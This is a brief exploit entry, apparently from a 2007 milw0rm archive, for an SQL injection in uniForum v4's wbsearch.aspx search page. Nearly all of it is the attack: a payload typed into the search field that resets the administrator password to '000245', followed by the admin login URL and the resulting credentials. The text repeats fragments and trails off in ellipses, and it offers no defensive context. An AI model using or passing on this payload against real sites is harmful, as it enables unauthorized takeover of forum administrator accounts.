uniForum <= v4 (wbsearch.aspx) Remote SQL Injection Vulnerability

Exploit for unknown platform in category web applications ================================================================= uniForum wbsearch.aspx Before, see "by User", it write ';update admin set Password='000245'-- Login Admin:http://www.xxx.com/path/wbadmlog.aspx Username: Administrator...

uniForum 4 - 'wbsearch.aspx' SQL Injection

Title : uniForum wbsearch.aspx Before, see "by User", it write ';update admin set Password='000245'-- Login Admin:http://www.xxx.com/path/wbadmlog.aspx Username: Administrator Password: 000245 /SQL """"""""""""""""""""" ajann,Turkey ... Im not Hacker! milw0rm.com 2007-01-09...